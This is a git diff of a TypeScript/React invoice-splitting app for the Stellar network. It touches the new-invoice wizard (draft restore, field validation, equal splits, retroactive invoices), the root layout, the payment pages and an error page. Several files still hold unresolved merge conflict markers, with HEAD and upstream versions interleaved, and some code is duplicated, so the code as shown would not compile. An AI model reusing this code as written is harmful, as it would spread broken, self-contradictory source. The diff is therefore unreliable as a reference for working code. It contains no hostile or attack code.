draftSnapshot + ); - const handleNext = () => { - if (validateStep(step)) { - goToStep(Math.min(step + 1, STEPS.length - 1)); + const handleRestoreDraft = () => { + if (!recoveredDraft) return; + const data = recoveredDraft.data; + setRecipients(data.recipients); + setToken(data.token); + setDeadlineDays(data.deadlineDays); + setRecurring(data.recurring); + setIntervalDays(data.intervalDays); + if (data.splitMeta) setSplitMeta(data.splitMeta); + if (data.equalSplit !== undefined) setEqualSplit(data.equalSplit); + if (data.totalAmount !== undefined) setTotalAmount(data.totalAmount); + if (data.tags) setTags(data.tags); + if (data.installments) setInstallments(data.installments); + if (data.cosigners) setCosigners(data.cosigners); + if (data.cosignerThreshold !== undefined) setCosignerThreshold(data.cosignerThreshold); + if (draftUserId) { + import("@/lib/offlineDraftDB").then(({ deleteDraft }) => + deleteDraft(draftUserId, recoveredDraft.draftId) + ); } - }; - - const handleBack = () => { - if (step > 0) { - goToStep(Math.max(step - 1, 0)); + setRecoveredDraft(null); + setHasUserInteracted(true); + // Resume where the user left off; the review step is excluded so a + // restored draft is always re-checked before it can be submitted. + if (data.step !== undefined && data.step > 0 && data.step < REVIEW_STEP) { + goToStep(data.step); } + addToast("Draft restored", "success"); }; - const handleProtectedNavigation = (href: string) => { - if (isDraftDirty()) { - setPendingNavigationHref(href); - setShowUnsavedModal(true); - } else { - router.push(href); + const handleDiscardDraft = () => { + if (recoveredDraft && draftUserId) { + import("@/lib/offlineDraftDB").then(({ deleteDraft }) => + deleteDraft(draftUserId, recoveredDraft.draftId) + ); } + setRecoveredDraft(null); }; - const payloadForApi = () => { - if (!splitMeta && cosigners.length === 0 && installments.length === 0) return null; - const baseMeta = splitMeta || { - totalAmount: recipients.reduce((s, r) => s + (parseFloat(r.amount) || 0), 0), - assetCode: (token === (process.env.NEXT_PUBLIC_USDC_ADDRESS ?? "") ? "USDC" : "XLM") as 'USDC' | 'XLM', - recipients: recipients.map((r) => ({ - address: r.address, - sharePercent: 100 / Math.max(1, recipients.length), - taxRatePercent: 0, - fixedFeeXLM: 0, - })), - }; - return { - ...baseMeta, - ...(installments.length > 0 ? { installments } : {}), - ...(cosigners.length > 0 - ? { - cosigners: cosigners.map((addr) => ({ address: addr, approved: false })), - cosignerThreshold, - } - : {}), - }; - }; + const { toasts, addToast } = useToasts(); - const formRef = useRef(null); + const handleSplitEqually = () => { + if (recipients.length <= 1) return; - // Cmd/Ctrl+Enter from anywhere in the wizard submits the form — on the - // review step this creates the invoice, on earlier steps it advances to - // the next step (handleSubmit already implements that distinction). - useRegisterShortcuts( - [ - { - id: "invoice-new:submit", - keys: ["Cmd", "Enter"], - description: "Submit / go to next step", - group: "Invoices", - handler: (e) => { - if (e.key !== "Enter") return; - if (!(e.metaKey || e.ctrlKey) || e.altKey || e.shiftKey) return; - e.preventDefault(); - formRef.current?.requestSubmit(); - }, - }, - ], - [], - ); + setPreviousRecipientsForUndo([...recipients]); - const handleSubmit = async (e: React.FormEvent) => { - e.preventDefault(); - // Pressing Enter inside a field on an earlier step should advance the - // wizard, never create the invoice. - if (step !== REVIEW_STEP) { - handleNext(); - return; - } - // Re-check every step: a deep link to ?step=4 or a restored draft must - // not be able to skip validation on earlier steps. - const invalid = firstInvalidStep(wizardState); - if (invalid !== -1) { - validateStep(invalid); - goToStep(invalid); - return; - } - setError(null); + const { perRecipient, remainder } = (() => { + const pp = Math.floor(100 / recipients.length); + const rem = 100 - (pp * recipients.length); + return { perRecipient: pp, remainder: rem }; + })(); - if (cloneSourceId && cloneDeadlineIso) { - const err = validateDeadline(cloneDeadlineIso); - if (err) { - setDeadlineError(err); - return; - } - } + const newRecipients = recipients.map((r, index) => ({ + ...r, + amount: (100 / recipients.length).toFixed(7), + })); - setSubmitting(true); + if (remainder > 0 && newRecipients.length > 0) { + const firstAmount = parseFloat(newRecipients[0].amount) + (remainder / recipients.length); + newRecipients[0].amount = firstAmount.toFixed(7); + } - try { - const creator = await getFreighterPublicKey(); + setRecipients(newRecipients); + addToast("Split distributed equally", "success"); + }; - if (cloneSourceId) { + const handleUndoSplit = () => { + if (previousRecipientsForUndo) { + setRecipients(previousRecipientsForUndo); + setPreviousRecipientsForUndo(null); + addToast("Distribution undone", "success"); + } + }; + + const markFieldTouched = (fieldName: string) => { + setTouchedFields((prev) => new Set([...prev, fieldName])); + }; + + /** + * Validate one field against the wizard rules, using `patch` for the value + * that just changed (state updates are not visible until the next render). + */ + const validateField = (fieldName: string, patch: Partial): string | null => { + const state = { ...wizardState, ...patch }; + if (patch.cloneDeadlineError === undefined && fieldName === "cloneDeadline") { + state.cloneDeadlineError = validateDeadline(cloneDeadlineIso); + } + for (let s = 0; s < REVIEW_STEP; s++) { + const error = validateWizardStep(s, state).fieldErrors[fieldName]; + if (error) return error; + } + return null; + }; + + const handleFieldBlur = (fieldName: string, patch: Partial = {}) => { + markFieldTouched(fieldName); + setHasUserInteracted(true); + const error = validateField(fieldName, patch); + setFieldErrors((prev) => ({ ...prev, [fieldName]: error })); + }; + + const handleFieldChange = (fieldName: string, patch: Partial) => { + setHasUserInteracted(true); + if (touchedFields.has(fieldName)) { + const error = validateField(fieldName, patch); + setFieldErrors((prev) => ({ ...prev, [fieldName]: error })); + } + }; + + const handleImported = (data: ImportedTxData) => { + setImportedTx(data); + setRetroError(null); + }; + + const handleRetroactiveSubmit = async () => { + if (!importedTx) return; + setRetroSubmitting(true); + setRetroError(null); + try { + const creator = await getFreighterPublicKey().catch(() => importedTx.recipients[0]?.address ?? "unknown"); + const recipients = importedTx.recipients.map((r) => ({ + address: r.address, + amount: parseAmount(r.amount), + })); + const total = recipients.reduce((s, r) => s + r.amount, 0n); + const id = generateRetroactiveInvoiceId(importedTx.txHash); + const record: RetroactiveInvoice = { + id, + creator, + recipients, + token: importedTx.recipients[0]?.asset ?? "XLM", + deadline: 0, + funded: total, + status: "Released", + payments: [{ payer: creator, amount: total }], + retroactive: true, + sourceTxHash: importedTx.txHash, + memo: importedTx.memo, + createdAt: importedTx.createdAt, + }; + saveRetroactiveInvoice(record); + addToast(`Retroactive invoice #${id} created`, "success"); + router.push(`/invoice/${id}`); + } catch (err) { + setRetroError(err instanceof Error ? err.message : String(err)); + } finally { + setRetroSubmitting(false); + } + }; + + useEffect(() => { + const address = searchParams.get("address"); + const templateParam = searchParams.get("template"); + + if (address) { + setRecipients([{ address, amount: "" }]); + return; + } + + if (templateParam) { + const decoded = decodeTemplate(templateParam); + if (decoded) { + setRecipients(decoded.recipients); + setToken(decoded.token); + addToast("Shared template loaded successfully", "success"); + } else { + addToast("Failed to decode shared template: invalid format", "error"); + } + return; + } + + const template = sessionStorage.getItem("invoiceTemplate"); + if (template) { + const parsed: InvoiceTemplate = JSON.parse(template); + setRecipients(parsed.recipients); + setDeadlineDays(parsed.deadlineDays); + setToken(parsed.token); + sessionStorage.removeItem("invoiceTemplate"); + } + }, [searchParams, addToast]); + + const [publicKey, setPublicKey] = useState(null); + const [error, setError] = useState(null); + const [txModal, setTxModal] = useState<{ txHash: string; invoiceId: string } | null>(null); + const [loading, setLoading] = useState(false); + const [autofilled, setAutofilled] = useState(false); + const [stepErrors, setStepErrors] = useState>({}); + const [previousRecipientsForUndo, setPreviousRecipientsForUndo] = useState(null); + const [fieldErrors, setFieldErrors] = useState>({}); + const [touchedFields, setTouchedFields] = useState>(new Set()); + const [showUnsavedModal, setShowUnsavedModal] = useState(false); + const [pendingNavigationHref, setPendingNavigationHref] = useState(null); + const { feeBreakdown, isLoading: feeLoading, error: feeError, refetch: refetchFees } = useNetworkFeeBreakdown(); + + // Denomination toggle state (XLM / USDC) + type Denomination = "XLM" | "USDC"; + const [amountDenom, setAmountDenom] = useState("USDC"); + const xlmUsdcRate = useXlmUsdcRate(); + + const { + remoteCursors, + remotePresence, + isConnected: collabConnected, + focusedField, + setFocusedField, + emitFieldBlur, + } = useInvoiceCollaboration({ + invoiceId: draftId ?? "new", + currentAddress: publicKey, + hasWritePermission: true, + }); + + /** Convert an amount string from current denomination to USDC for on-chain use */ + const toUsdc = useCallback( + (amount: string): string => { + if (amountDenom === "USDC" || !xlmUsdcRate) return amount; + const n = parseFloat(amount); + if (isNaN(n)) return amount; + return (n * xlmUsdcRate).toFixed(7).replace(/\.?0+$/, ""); + }, + [amountDenom, xlmUsdcRate], + ); + + useEffect(() => { + getFreighterPublicKey().then(setPublicKey).catch(() => null); + }, []); + + useEffect(() => { + if (fromId || sessionStorage.getItem("invoiceTemplate") || searchParams.get("address")) return; + + getFreighterPublicKey() + // as any: getInvoicesByCreator is not yet declared in the published @stellar-split/sdk types + .then((pk) => (splitClient as any).getInvoicesByCreator(pk)) + .then((invoices: import("@stellar-split/sdk").Invoice[]) => { + if (!invoices || invoices.length === 0) return; + const recent = invoices.slice(-5); + const latestToken = recent[recent.length - 1].token; + const now = Math.floor(Date.now() / 1000); + const daysList = recent + .map((inv) => Math.round((inv.deadline - now) / 86400)) + .filter((d) => d > 0) + .sort((a, b) => a - b); + const medianDays = + daysList.length > 0 + ? daysList[Math.floor(daysList.length / 2)] + : null; + const lastRecipients = recent[recent.length - 1].recipients.map((r) => ({ + address: r.address, + amount: formatAmount(r.amount), + })); + setToken(latestToken); + if (medianDays !== null) setDeadlineDays(medianDays); + setRecipients(lastRecipients.length > 0 ? lastRecipients : [{ address: "", amount: "" }]); + setAutofilled(true); + }) + .catch(() => null); + }, []); + + useEffect(() => { + if (!fromId) return; + setLoading(true); + splitClient + .getInvoice(fromId) + .then((invoice) => { + const recipientRows = invoice.recipients.map((r) => ({ + address: r.address, + amount: formatAmount(r.amount), + })); + setRecipients(recipientRows); + setOriginalRecipients(recipientRows); + setToken(invoice.token); + setOriginalToken(invoice.token); + setCloneSourceId(fromId); + if (deadlineParam) { + const err = validateDeadline(deadlineParam); + if (err) setDeadlineError(err); + setCloneDeadlineIso(deadlineParam); + } + }) + .catch((err) => { + setError(`Failed to load source invoice: ${err}`); + }) + .finally(() => { + setLoading(false); + }); + }, [fromId]); + + const perRecipientAmount = + equalSplit && totalAmount && recipients.length > 0 + ? (parseFloat(totalAmount) / recipients.length).toFixed(7) + : undefined; + + const handleLoadTemplate = (template: { recipients: RecipientRow[]; token: string }) => { + setRecipients(template.recipients); + setToken(template.token); + }; + + const recipientsChanged = + !!originalRecipients && + JSON.stringify(recipients) !== JSON.stringify(originalRecipients); + + const tokenChanged = !!originalToken && token !== originalToken; + +<<<<<<< HEAD + const validateStep = (s: number): boolean => { + switch (s) { + case 0: { + if (!token || !token.startsWith("C")) { + setStepErrors((prev) => ({ ...prev, [s]: "Valid token contract address is required" })); + return false; + } + if (cloneSourceId && cloneDeadlineIso) { + const err = validateDeadline(cloneDeadlineIso); + if (err) { + setDeadlineError(err); + setStepErrors((prev) => ({ ...prev, [s]: err })); + return false; + } + } + setStepErrors((prev) => ({ ...prev, [s]: null })); + return true; + } + case 1: { + if (recipients.length === 0 || !recipients[0].address) { + setStepErrors((prev) => ({ ...prev, [s]: "At least one recipient is required" })); + return false; + } + const validRecipients = recipients.every( + (r) => r.address.startsWith("G") && r.address.length >= 50 && parseFloat(r.amount || "0") > 0 + ); + if (!validRecipients) { + setStepErrors((prev) => ({ ...prev, [s]: "Each recipient needs a valid G... address and positive amount" })); + return false; + } + if (splitMeta && splitMeta.recipients.length > 0) { + const splitResult = calculateSplit(splitMeta.totalAmount, splitMeta.recipients, splitMeta.assetCode); + if (!splitResult.validation.isValid) { + setStepErrors((prev) => ({ + ...prev, + [s]: splitResult.validation.errorMessage ?? "Split calculator has invalid configuration", + })); + return false; + } + } + setStepErrors((prev) => ({ ...prev, [s]: null })); + return true; + } + case 2: { + if (deadlineDays && Number(deadlineDays) <= 0) { + setStepErrors((prev) => ({ ...prev, [s]: "Deadline must be a positive number of days" })); + return false; + } + setStepErrors((prev) => ({ ...prev, [s]: null })); + return true; + } + default: + return true; + } + }; + +======= +>>>>>>> upstream/main + /** + * Reason the split is not submittable, or null when it is. Drives both the + * disabled state and the tooltip on the create button so the user can see + * *why* it is blocked without first clicking it. + */ + const splitBlockReason = useMemo(() => { + if (!splitMeta || splitMeta.recipients.length === 0) return null; + const { validation } = calculateSplit( + splitMeta.totalAmount, + splitMeta.recipients, + splitMeta.assetCode + ); + return validation.isValid ? null : validation.errorMessage ?? "Split configuration is invalid"; + }, [splitMeta]); + +<<<<<<< HEAD +======= + const wizardState: WizardState = { + token, + deadlineDays, + isClone: !!cloneSourceId, + cloneDeadlineError: cloneSourceId ? validateDeadline(cloneDeadlineIso) : null, + recurring, + intervalDays, + recipients, + equalSplit, + totalAmount, + splitError: splitBlockReason, + cosigners, + cosignerThreshold, + }; + + /** + * Validate step `s`, surfacing the summary above the step and the + * per-field messages inline. Returns whether the step is valid. + */ + const validateStep = (s: number): boolean => { + const { valid, message, fieldErrors: errors } = validateWizardStep(s, wizardState); + setStepErrors((prev) => ({ ...prev, [s]: message })); + const fields = Object.keys(errors); + if (fields.length > 0) { + setTouchedFields((prev) => new Set([...prev, ...fields])); + setFieldErrors((prev) => ({ ...prev, ...errors })); + } + if (s === 0 && errors.cloneDeadline) setDeadlineError(errors.cloneDeadline); + return valid; + }; + +>>>>>>> upstream/main + const handleNext = () => { + if (validateStep(step)) { + goToStep(Math.min(step + 1, STEPS.length - 1)); + } + }; + + const handleBack = () => { + if (step > 0) { + goToStep(Math.max(step - 1, 0)); + } + }; + + const handleProtectedNavigation = (href: string) => { + if (isDraftDirty()) { + setPendingNavigationHref(href); + setShowUnsavedModal(true); + } else { + router.push(href); + } + }; + + const payloadForApi = () => { + if (!splitMeta && cosigners.length === 0 && installments.length === 0) return null; + const baseMeta = splitMeta || { + totalAmount: recipients.reduce((s, r) => s + (parseFloat(r.amount) || 0), 0), + assetCode: (token === (process.env.NEXT_PUBLIC_USDC_ADDRESS ?? "") ? "USDC" : "XLM") as 'USDC' | 'XLM', + recipients: recipients.map((r) => ({ + address: r.address, + sharePercent: 100 / Math.max(1, recipients.length), + taxRatePercent: 0, + fixedFeeXLM: 0, + })), + }; + return { + ...baseMeta, + ...(installments.length > 0 ? { installments } : {}), + ...(cosigners.length > 0 + ? { + cosigners: cosigners.map((addr) => ({ address: addr, approved: false })), + cosignerThreshold, + } + : {}), + }; + }; + +<<<<<<< HEAD + const handleSubmit = async (e: React.FormEvent) => { + e.preventDefault(); + if (!validateStep(step)) return; +======= + const formRef = useRef(null); + + // Cmd/Ctrl+Enter from anywhere in the wizard submits the form — on the + // review step this creates the invoice, on earlier steps it advances to + // the next step (handleSubmit already implements that distinction). + useRegisterShortcuts( + [ + { + id: "invoice-new:submit", + keys: ["Cmd", "Enter"], + description: "Submit / go to next step", + group: "Invoices", + handler: (e) => { + if (e.key !== "Enter") return; + if (!(e.metaKey || e.ctrlKey) || e.altKey || e.shiftKey) return; + e.preventDefault(); + formRef.current?.requestSubmit(); + }, + }, + ], + [], + ); + + const handleSubmit = async (e: React.FormEvent) => { + e.preventDefault(); + // Pressing Enter inside a field on an earlier step should advance the + // wizard, never create the invoice. + if (step !== REVIEW_STEP) { + handleNext(); + return; + } + // Re-check every step: a deep link to ?step=4 or a restored draft must + // not be able to skip validation on earlier steps. + const invalid = firstInvalidStep(wizardState); + if (invalid !== -1) { + validateStep(invalid); + goToStep(invalid); + return; + } +>>>>>>> upstream/main + setError(null); + + if (cloneSourceId && cloneDeadlineIso) { + const err = validateDeadline(cloneDeadlineIso); + if (err) { + setDeadlineError(err); + return; + } + } + + setSubmitting(true); + + try { + const creator = await getFreighterPublicKey(); + + if (cloneSourceId) { const deadlineTs = Math.floor(new Date(cloneDeadlineIso).getTime() / 1000); // as any: cloneInvoice is not yet declared in the published @stellar-split/sdk types @@ -752,72 +1160,431 @@ function NewInvoiceForm() { [step] ); - const handleStepClick = (targetStep: number) => { - if (targetStep <= step) { - goToStep(targetStep); - return; - } - for (let s = step; s < targetStep; s++) { - if (!validateStep(s)) return; - } - goToStep(targetStep); - }; + const handleStepClick = (targetStep: number) => { + if (targetStep <= step) { + goToStep(targetStep); + return; + } + for (let s = step; s < targetStep; s++) { + if (!validateStep(s)) return; + } + goToStep(targetStep); + }; +<<<<<<< HEAD + + const renderStepIndicator = () => ( + + ); + + const renderBasicInfo = () => ( +
+

Basic Info

+======= + + const progressPercent = Math.round(((step + 1) / STEPS.length) * 100); + + const renderStepIndicator = () => ( +
+ +
+
+
+
+ + Step {step + 1} of {STEPS.length} + + {lastSavedAt && !cloneSourceId && ( + + Draft saved {new Date(lastSavedAt).toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" })} + + )} +
+
+ ); + + /** Small "Edit" link on the review step that jumps back to step `s`. */ + const renderEditButton = (s: number) => ( + + ); + + /** Heading plus one-line explanation of what the current step is for. */ + const renderStepHeader = (s: number) => ( +
+

{WIZARD_STEPS[s].label}

+

{WIZARD_STEPS[s].description}

+
+ ); + + const renderBasicInfo = () => ( +
+ {renderStepHeader(0)} + + {!cloneSourceId && ( + + )} + + + + { + setToken(e.target.value); + handleFieldChange('token', { token: e.target.value }); + }} + onFocus={() => setFocusedField("token-address")} + onBlur={() => { + handleFieldBlur('token'); + if (focusedField === "token-address") emitFieldBlur(); + }} + required + placeholder="C..." + className={`w-full min-h-11 bg-gray-800 border rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500 ${ + touchedFields.has('token') && fieldErrors['token'] + ? 'border-red-500' + : 'border-gray-700' + }`} + /> + + + + + {cloneSourceId ? ( + + { + setCloneDeadlineIso(e.target.value); + handleFieldChange('cloneDeadline', { cloneDeadlineError: validateDeadline(e.target.value) }); + }} + onBlur={(e) => handleFieldBlur('cloneDeadline', { cloneDeadlineError: validateDeadline(e.target.value) })} + className={`w-full min-h-11 bg-gray-800 border rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500 ${ + touchedFields.has('cloneDeadline') && fieldErrors['cloneDeadline'] + ? 'border-red-500' + : 'border-gray-700' + }`} + /> + + ) : ( + + { + setDeadlineDays(Number(e.target.value)); + handleFieldChange('deadlineDays', { deadlineDays: Number(e.target.value) }); + }} + onFocus={() => setFocusedField("deadline-days")} + onBlur={() => { + handleFieldBlur('deadlineDays'); + if (focusedField === "deadline-days") emitFieldBlur(); + }} + required + className={`w-full min-h-11 bg-gray-800 border rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500 ${ + touchedFields.has('deadlineDays') && fieldErrors['deadlineDays'] + ? 'border-red-500' + : 'border-gray-700' + }`} + /> + + + )} + + {!cloneSourceId && ( + sum + parseFloat(r.amount || "0"), 0) + .toString() + } + recipientCount={recipients.filter((r) => r.address).length} + onUseSuggestion={(days: number) => setDeadlineDays(days)} + /> + )} + + {!cloneSourceId && ( +
+
+ +

+ {FIELD_HELP.recurring} +

+
+ +
+ )} + + {recurring && !cloneSourceId && ( +
+ + +

+ {FIELD_HELP.intervalDays} +

+
+ )} +
+ ); + + const renderRecipients = () => ( +
+ {renderStepHeader(1)} - const progressPercent = Math.round(((step + 1) / STEPS.length) * 100); + {!cloneSourceId && ( + <> +
+
+ +

+ {FIELD_HELP.equalSplit} +

+
+ +
- const renderStepIndicator = () => ( -
- -
-
-
-
- - Step {step + 1} of {STEPS.length} - - {lastSavedAt && !cloneSourceId && ( - - Draft saved {new Date(lastSavedAt).toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" })} - + {!equalSplit && ( +
+ + {previousRecipientsForUndo && ( + + )} +
+ )} + + )} + + {equalSplit && !cloneSourceId && ( + + ) => { + setTotalAmount(e.target.value); + handleFieldChange('totalAmount', { totalAmount: e.target.value }); + }} + onFocus={() => setFocusedField("total-amount")} + onBlur={() => { + handleFieldBlur('totalAmount'); + if (focusedField === "total-amount") emitFieldBlur(); + }} + required + className={`w-full min-h-11 bg-gray-800 border rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500 ${ + touchedFields.has('totalAmount') && fieldErrors['totalAmount'] + ? 'border-red-500' + : 'border-gray-700' + }`} + /> + + {perRecipientAmount && ( +

+ {perRecipientAmount} {t("invoiceNew.perRecipient")} +

+ )} +
+ )} + +
+
+
+ + {equalSplit ? t("invoiceNew.recipients") : t("invoiceNew.recipientsAndAmounts")} + +

+ {FIELD_HELP.recipients} +

+
+ {!equalSplit && !cloneSourceId && ( +
+ Amounts in: + + {xlmUsdcRate && ( + 1 XLM ≈ {xlmUsdcRate.toFixed(4)} USDC + )} +
+ )} +
+ + + + {touchedFields.has('recipients') && fieldErrors['recipients'] && ( +

{fieldErrors['recipients']}

)}
-
- ); - - /** Small "Edit" link on the review step that jumps back to step `s`. */ - const renderEditButton = (s: number) => ( - - ); - /** Heading plus one-line explanation of what the current step is for. */ - const renderStepHeader = (s: number) => ( -
-

{WIZARD_STEPS[s].label}

-

{WIZARD_STEPS[s].description}

+ s + parseFloat(r.amount || "0"), 0).toFixed(7)} + onSplitMetaChange={setSplitMeta} + />
); - const renderBasicInfo = () => ( + const renderOptions = () => { + const total = recipients.reduce((s, r) => s + parseFloat(r.amount || "0"), 0); + return (
- {renderStepHeader(0)} + {renderStepHeader(2)} + +
+ +

{FIELD_HELP.tags}

+
+ + {cloneSourceId && ( +
+ Cloned from + + #{cloneSourceId} + +
+ )} +>>>>>>> upstream/main {!cloneSourceId && ( )} +<<<<<<< HEAD { - setToken(e.target.value); - handleFieldChange('token', { token: e.target.value }); - }} + onChange={(e) => setToken(e.target.value)} onFocus={() => setFocusedField("token-address")} onBlur={() => { - handleFieldBlur('token'); if (focusedField === "token-address") emitFieldBlur(); }} required @@ -865,7 +1628,6 @@ function NewInvoiceForm() { id="clone-deadline" label={t("invoiceNew.deadline")} error={touchedFields.has('cloneDeadline') ? fieldErrors['cloneDeadline'] : null} - helperText={FIELD_HELP.cloneDeadline} required > { setCloneDeadlineIso(e.target.value); - handleFieldChange('cloneDeadline', { cloneDeadlineError: validateDeadline(e.target.value) }); + handleFieldChange('cloneDeadline', e.target.value); }} - onBlur={(e) => handleFieldBlur('cloneDeadline', { cloneDeadlineError: validateDeadline(e.target.value) })} + onBlur={(e) => handleFieldBlur('cloneDeadline', e.target.value)} className={`w-full min-h-11 bg-gray-800 border rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500 ${ touchedFields.has('cloneDeadline') && fieldErrors['cloneDeadline'] ? 'border-red-500' @@ -888,7 +1650,6 @@ function NewInvoiceForm() { id="deadline-days" label={t("invoiceNew.deadline")} error={touchedFields.has('deadlineDays') ? fieldErrors['deadlineDays'] : null} - helperText={FIELD_HELP.deadlineDays} required > { - setDeadlineDays(Number(e.target.value)); - handleFieldChange('deadlineDays', { deadlineDays: Number(e.target.value) }); - }} + onChange={(e) => setDeadlineDays(Number(e.target.value))} onFocus={() => setFocusedField("deadline-days")} onBlur={() => { - handleFieldBlur('deadlineDays'); if (focusedField === "deadline-days") emitFieldBlur(); }} required - className={`w-full min-h-11 bg-gray-800 border rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500 ${ - touchedFields.has('deadlineDays') && fieldErrors['deadlineDays'] - ? 'border-red-500' - : 'border-gray-700' - }`} + className="w-full min-h-11 bg-gray-800 border border-gray-700 rounded-lg px-4 py-2 text-sm text-gray-100 focus:outline-none focus:ring-2 focus:ring-indigo-500" /> + sum + parseFloat(r.amount || "0"), 0) + .toString() + } + recipientCount={recipients.filter((r) => r.address).length} + onUseSuggestion={(days: number) => setDeadlineDays(days)} + /> )} @@ -931,21 +1695,15 @@ function NewInvoiceForm() { )} {!cloneSourceId && ( -
-
- -

- {FIELD_HELP.recurring} -

-
+
+
)}
@@ -985,26 +1739,20 @@ function NewInvoiceForm() { const renderRecipients = () => (
- {renderStepHeader(1)} +

Recipients

{!cloneSourceId && ( <>
-
- -

- {FIELD_HELP.equalSplit} -

-
+ + +
+ )} + + {formMode === "import" && !cloneSourceId ? ( +
+ + + {importedTx && ( +
+

+ This invoice will be created as retroactive and marked{" "} + Fully Paid automatically — no on-chain payment is required. +

+ {retroError && ( +

{retroError}

+ )} +
+ + +
+
+ )} +
+ ) : ( + <> +======= +>>>>>>> upstream/main {/* Cloned-from banner */} {cloneSourceId && (
@@ -1397,7 +2316,11 @@ function NewInvoiceForm() {

)} +<<<<<<< HEAD +
+======= +>>>>>>> upstream/main {step === 0 && !loading && renderBasicInfo()} {step === 1 && !loading && renderRecipients()} {step === 2 && !loading && renderOptions()} diff --git a/src/app/layout.tsx b/src/app/layout.tsx index 058b0089..d1f3e93e 100644 --- a/src/app/layout.tsx +++ b/src/app/layout.tsx @@ -15,17 +15,26 @@ import CommandPalette from "@/components/CommandPalette"; import { SessionLockProvider } from "@/contexts/SessionLockContext"; import { ToastProvider } from "@/contexts/ToastContext"; import InstallBanner from "@/components/InstallBanner"; +<<<<<<< HEAD +import ToastContainer from "@/components/ToastContainer"; +======= import SkipNavLink from "@/components/SkipNavLink"; +>>>>>>> upstream/main import QueryProvider from "@/contexts/QueryProvider"; import LanguageSwitcher from "@/components/LanguageSwitcher"; import { UserPreferencesProvider } from "@/context/UserPreferencesContext"; import { FiatRateProvider } from "@/hooks/useFiatRate"; import { ShortcutRegistryProvider } from "@/context/ShortcutRegistry"; import OfflineBanner from "@/components/OfflineBanner"; +<<<<<<< HEAD +import { getNonce } from "@/lib/csp"; +import TransitionProvider from "@/components/layout/TransitionProvider"; +======= import WalletSecurityCenter from "@/components/security/WalletSecurityCenter"; import { getNonce } from "@/lib/csp"; import TransitionProvider from "@/components/layout/TransitionProvider"; import WebVitalsReporter from "@/components/WebVitalsReporter"; +>>>>>>> upstream/main const themeBootstrap = ` (function () { @@ -125,6 +134,44 @@ export default function RootLayout({ +<<<<<<< HEAD + + + + + + + + + + + + + + {children} + +
+
+

+ © {new Date().getFullYear()} StellarSplit +

+ +
+
+ + + + + +
+
+
+
+
+
+
+ +======= @@ -152,6 +199,7 @@ export default function RootLayout({ +>>>>>>> upstream/main
diff --git a/src/app/pay/[invoiceId]/[amount]/page.tsx b/src/app/pay/[invoiceId]/[amount]/page.tsx index dace6fc7..63384087 100644 --- a/src/app/pay/[invoiceId]/[amount]/page.tsx +++ b/src/app/pay/[invoiceId]/[amount]/page.tsx @@ -6,14 +6,23 @@ import { splitClient, payWithNonce } from "@/lib/stellar"; import { getFreighterPublicKey } from "@/lib/freighter"; import { formatAmount, parseAmount } from "@stellar-split/sdk"; import type { Invoice } from "@stellar-split/sdk"; +<<<<<<< HEAD +======= import { getActiveNetwork } from "@/lib/networks"; +>>>>>>> upstream/main interface Props { params: { invoiceId: string; amount: string }; } const STELLAR_EXPERT_BASE = +<<<<<<< HEAD + process.env.NEXT_PUBLIC_STELLAR_NETWORK === "mainnet" + ? "https://stellar.expert/explorer/public/tx" + : "https://stellar.expert/explorer/testnet/tx"; +======= getActiveNetwork().explorerTxBase; +>>>>>>> upstream/main export default function DeepLinkPayPage({ params }: Props) { const { invoiceId, amount: rawAmount } = params; diff --git a/src/app/pay/batch/page.tsx b/src/app/pay/batch/page.tsx index a7f6c100..54849d95 100644 --- a/src/app/pay/batch/page.tsx +++ b/src/app/pay/batch/page.tsx @@ -6,7 +6,10 @@ import { getFreighterPublicKey } from "@/lib/freighter"; import { parseAmount } from "@stellar-split/sdk"; import BatchPayQueue from "@/components/BatchPayQueue"; import type { Invoice } from "@stellar-split/sdk"; +<<<<<<< HEAD +======= import { getActiveNetwork } from "@/lib/networks"; +>>>>>>> upstream/main interface QueueEntry { invoice: Invoice; @@ -14,7 +17,13 @@ interface QueueEntry { } const STELLAR_EXPERT_BASE = +<<<<<<< HEAD + process.env.NEXT_PUBLIC_STELLAR_NETWORK === "mainnet" + ? "https://stellar.expert/explorer/public/tx" + : "https://stellar.expert/explorer/testnet/tx"; +======= getActiveNetwork().explorerTxBase; +>>>>>>> upstream/main export default function BatchPayPage() { const [search, setSearch] = useState(""); diff --git a/src/app/payments/error.tsx b/src/app/payments/error.tsx index 8fd4e2c8..5a320aea 100644 --- a/src/app/payments/error.tsx +++ b/src/app/payments/error.tsx @@ -2,8 +2,11 @@ import Link from "next/link"; import { useEffect, useState } from "react"; +<<<<<<< HEAD +======= import { classifyError, getErrorCopy } from "@/lib/errors"; import { logger } from "@/lib/logger"; +>>>>>>> upstream/main interface Props { error: Error & { digest?: string }; @@ -14,9 +17,12 @@ interface Props { export default function PaymentsError({ error, reset }: Props) { const [sentryEventId, setSentryEventId] = useState(null); +<<<<<<< HEAD +======= const kind = classifyError(error); const copy = getErrorCopy(kind, "payments"); +>>>>>>> upstream/main useEffect(() => { const capture = async () => { try { @@ -28,6 +34,17 @@ export default function PaymentsError({ error, reset }: Props) { } }; capture(); +<<<<<<< HEAD + console.error("[PaymentsError]", error); + }, [error]); + + return ( +
+

Could not load payment history

+

+ {error.message || "An unexpected error occurred."} +

+======= logger.error("Payments route error", { scope: "payments", kind, @@ -48,6 +65,7 @@ export default function PaymentsError({ error, reset }: Props) { ))} )} +>>>>>>> upstream/main {sentryEventId && (

